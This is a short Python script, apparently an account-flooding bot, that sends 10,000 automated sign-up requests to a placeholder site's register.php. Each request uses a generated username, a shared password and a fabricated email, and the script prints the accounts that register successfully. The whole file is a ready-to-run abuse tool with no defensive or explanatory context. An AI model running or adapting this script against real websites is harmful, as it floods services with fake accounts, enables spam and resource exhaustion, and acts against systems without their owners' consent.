import requests

_STARTUSERNAME = 'b1naryst0rm' # This will count up. ex.: user1, user2
_PASSWORD = 'ibottedyou'

def register(username, password, email):
   session = requests.Session()
   register_request = session.post('WEBSITE-URL-include-https-or-http/register.php', data = {
       '_Username': username,
       '_Password': password,
       '_ConfirmPassword': password,
       '_Email': email,
       '_Submit': 'Register'
   })
   if ('index.php' in register_request.url):
       return session
   else:
       return False

def payload():
   for i in range(0, 10000):
       username = (_STARTUSERNAME + str(i))
       email = (username + '@b1naryst0rm.com')
       reg = register(username, _PASSWORD, email)
       if (reg != False):
           print(username)

payload()